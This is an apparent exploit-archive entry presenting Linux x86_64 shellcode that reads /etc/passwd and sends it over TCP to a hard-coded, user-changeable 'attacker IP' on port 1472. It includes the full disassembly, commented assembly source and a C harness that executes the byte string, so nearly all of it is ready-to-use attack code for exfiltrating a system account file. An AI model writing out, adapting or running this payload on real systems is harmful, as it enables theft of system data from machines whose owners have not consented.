Linux x86_64 /etc/passwd File Sender Shellcode

/*
    # Title : Linux x86_64 /etc/passwd file sender shellcode
    # Date : 28-06-2016
    # Author : Roziul Hasan Khan Shifat
    # Tested On : Ubuntu 14.04 LTS x86_64
*/
/*
Disassembly of section .text:
0000000000400080 <_start>:
  400080:   48 31 c0                xor    %rax,%rax
  400083:   b0 39                   mov    $0x39,%al
  400085:   0f 05                   syscall
  400087:   99                      cltd  
  400088:   48 39 d0                cmp    %rdx,%rax
  40008b:   74 07                   je     400094 <send>
  40008d:   48 31 c0                xor    %rax,%rax
  400090:   b0 3c                   mov    $0x3c,%al
  400092:   0f 05                   syscall
0000000000400094 <send>:
  400094:   b2 06                   mov    $0x6,%dl
  400096:   48 31 f6                xor    %rsi,%rsi
  400099:   48 ff c6                inc    %rsi
  40009c:   40 b7 02                mov    $0x2,%dil
  40009f:   48 31 c0                xor    %rax,%rax
  4000a2:   b0 29                   mov    $0x29,%al
  4000a4:   0f 05                   syscall
  4000a6:   4d 31 c0                xor    %r8,%r8
  4000a9:   49 89 c0                mov    %rax,%r8
  4000ac:   48 31 c0                xor    %rax,%rax
  4000af:   99                      cltd  
  4000b0:   48 31 ff                xor    %rdi,%rdi
  4000b3:   48 31 f6                xor    %rsi,%rsi
  4000b6:   50                      push   %rax
  4000b7:   50                      push   %rax
  4000b8:   50                      push   %rax
  4000b9:   c6 04 24 02             movb   $0x2,(%rsp)
  4000bd:   66 c7 44 24 02 05 c0    movw   $0xc005,0x2(%rsp)
  4000c4:   c7 44 24 04 c0 a8 56    movl   $0x8056a8c0,0x4(%rsp)
  4000cb:   80
  4000cc:   48 89 e6                mov    %rsp,%rsi
  4000cf:   b2 10                   mov    $0x10,%dl
  4000d1:   4c 89 c7                mov    %r8,%rdi
00000000004000d4 <connect>:
  4000d4:   48 31 c0                xor    %rax,%rax
  4000d7:   b0 2a                   mov    $0x2a,%al
  4000d9:   0f 05                   syscall
  4000db:   4d 31 c9                xor    %r9,%r9
  4000de:   4c 39 c8                cmp    %r9,%rax
  4000e1:   75 f1                   jne    4000d4 <connect>
  4000e3:   48 31 c0                xor    %rax,%rax
  4000e6:   48 31 f6                xor    %rsi,%rsi
  4000e9:   50                      push   %rax
  4000ea:   50                      push   %rax
  4000eb:   50                      push   %rax
  4000ec:   c7 04 24 2f 65 74 63    movl   $0x6374652f,(%rsp)
  4000f3:   c7 44 24 04 2f 2f 70    movl   $0x61702f2f,0x4(%rsp)
  4000fa:   61
  4000fb:   c7 44 24 08 73 73 77    movl   $0x64777373,0x8(%rsp)
  400102:   64
  400103:   48 89 e7                mov    %rsp,%rdi
  400106:   b0 02                   mov    $0x2,%al
  400108:   0f 05                   syscall
  40010a:   48 89 c6                mov    %rax,%rsi
  40010d:   4c 89 c7                mov    %r8,%rdi
  400110:   99                      cltd  
  400111:   66 41 ba 88 13          mov    $0x1388,%r10w
  400116:   48 31 c0                xor    %rax,%rax
  400119:   b0 28                   mov    $0x28,%al
  40011b:   0f 05                   syscall
  40011d:   48 31 c0                xor    %rax,%rax
  400120:   b0 3c                   mov    $0x3c,%al
  400122:   0f 05                   syscall
*/
/*
section .text
    global _start
_start:
xor rax,rax
mov al,57
syscall
cdq
cmp rax,rdx
jz send
xor rax,rax
mov al,60
syscall
send:
;----------------
;connecting to server
;-------------------------
;creating socket
mov dl,6
xor rsi,rsi
inc rsi
mov dil,2
xor rax,rax
mov al,41
syscall
;---------------------
xor r8,r8
mov r8,rax ;socket descriptor
;----------------------------
;connecting.............
;struct sockaddr_in 16 bytes
;sin_family 2 bytes
;sin_port 2 bytes
;sin_addr 4 bytes
xor rax,rax
cdq
xor rdi,rdi
xor rsi,rsi
push rax
push rax
push rax
mov [rsp],byte 2
mov [rsp+2],word 0xc005 ;port 1472 (change it if U want)
mov [rsp+4],dword 0x8056a8c0 ;change it to attacker IP
mov rsi,rsp
mov dl,16
mov rdi,r8
connect:
xor rax,rax
mov al,42
syscall
xor r9,r9
cmp rax,r9
jnz connect
;------------------------------
;opennig /etc/passwd
xor rax,rax
xor rsi,rsi
push rax
push rax
push rax
mov [rsp],dword '/etc'
mov [rsp+4],dword '//pa'
mov [rsp+8],dword 'sswd'
mov rdi,rsp
mov al,2
syscall
;----------------------
;sending...............
mov rsi,rax ;in_fd
mov rdi,r8 ;out_fd
cdq
mov r10w,5000
xor rax,rax
mov al,40
syscall
;--------------
;exiting
xor rax,rax
mov al,60
syscall
*/
#include<stdio.h>
#include<string.h>
char shellcode[]="\x48\x31\xc0\xb0\x39\x0f\x05\x99\x48\x39\xd0\x74\x07\x48\x31\xc0\xb0\x3c\x0f\x05\xb2\x06\x48\x31\xf6\x48\xff\xc6\x40\xb7\x02\x48\x31\xc0\xb0\x29\x0f\x05\x4d\x31\xc0\x49\x89\xc0\x48\x31\xc0\x99\x48\x31\xff\x48\x31\xf6\x50\x50\x50\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x05\xc0\xc7\x44\x24\x04\xc0\xa8\x56\x80\x48\x89\xe6\xb2\x10\x4c\x89\xc7\x48\x31\xc0\xb0\x2a\x0f\x05\x4d\x31\xc9\x4c\x39\xc8\x75\xf1\x48\x31\xc0\x48\x31\xf6\x50\x50\x50\xc7\x04\x24\x2f\x65\x74\x63\xc7\x44\x24\x04\x2f\x2f\x70\x61\xc7\x44\x24\x08\x73\x73\x77\x64\x48\x89\xe7\xb0\x02\x0f\x05\x48\x89\xc6\x4c\x89\xc7\x99\x66\x41\xba\x88\x13\x48\x31\xc0\xb0\x28\x0f\x05\x48\x31\xc0\xb0\x3c\x0f\x05";
main()
{
printf("shellcode length %ld\n",(long)strlen(shellcode));
(* (int(*)()) shellcode) ();
}